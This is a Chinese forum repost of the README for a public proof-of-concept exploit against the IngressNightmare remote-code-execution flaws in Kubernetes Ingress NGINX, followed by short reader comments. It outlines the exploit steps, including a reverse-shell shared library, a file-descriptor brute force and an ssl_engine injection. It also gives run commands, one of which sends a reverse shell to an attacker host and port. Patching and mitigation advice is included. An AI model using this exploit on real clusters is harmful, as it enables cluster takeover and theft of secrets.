Ingress NGINX - IngressNightmare 漏洞的 PoC 代码(CVE-2025-1097、CVE-2025-1098、CVE-2025-24514 和 CVE-2025-1974)
URL:https://github.com/hakaioffsec/IngressNightmare-PoC
该项目针对 Kubernetes 的 Ingress NGINX Controller 中的关键未经身份验证的远程代码执行 (RCE)漏洞提供了攻击,统称为 IngressNightmare。(由Wiz研究)
在最初的研究中,Wiz 团队没有提供 PoC 或功能漏洞,因此我们决定创建自己的并与社区分享。
概述
Ingress NGINX 控制器是 Kubernetes 环境中广泛使用的组件,用于管理对集群内服务的外部访问。最近在其准入控制器中发现的漏洞(CVE-2025-1097、CVE-2025-1098、CVE-2025-24514、CVE-2025-1974)可能导致跨命名空间的所有机密遭到未经授权的访问,并可能导致集群完全被接管。
漏洞利用工作流程
该漏洞主要遵循以下步骤:
生成共享对象(由注入的ssl_engine属性使用): 编译包含反向 shell payload 的 .so 库(evil_engine.so)。
上传共享对象: 将编译后的共享对象发送到入口 pod,利用请求处理(客户端主体缓冲区)。这里的技巧是Content-Length向服务器发送不同的内容以保持连接打开并维护文件的文件描述符打开。
暴力破解 fd: 遍历进程 ID 和文件描述符(/proc/{pid}/fd/{fd})来识别引用上传对象的正确描述符。
用法
先决条件:Python 3.x GCC 编译器 Python 请求模块
运行漏洞利用:
pip3 install -r requirements.txt
python3 exploit.py <ingress_url> <admission_webhook_url> [attacker_host:port](attacker_host:port)
Exp使用:python3 xpl.py http://192.168.0.154 https://rke2-ingress-nginx-controller-admission.kube-system 192.168.1.63:443
有时admission webhook位于不同的命名空间中。在这种情况下,您需要在末尾指定命名空间,例如kube-system、default或ingress-nginx。
<ingress_url>:目标 Ingress URL(公共)
<admission_webhook_url>:准入 webhook URL(内部 webhook)
Attacker_host:port:反向 shell 的主机和端口
修复
立即更新:将 Ingress NGINX Controller 升级到修补版本(1.12.1 或 1.11.5)。
限制准入 webhook:将对 webhook 的访问限制为仅限 Kubernetes API 服务器。
暂时禁用:如果无法立即升级,请考虑暂时禁用准入控制器组件。
评论5次
前几天刚看到新闻Poc就来了 感谢分享
问下这个exp为什么需要gcc编译代码,作用是什么
有靶场吗,没有测试环境复现
感谢分享,可是这个漏洞是不是k8s 环境上才可以利用的样子,普通的ngix站点不起作用
有没有能相对准确识别出来的指纹
前几天刚看到新闻Poc就来了 感谢分享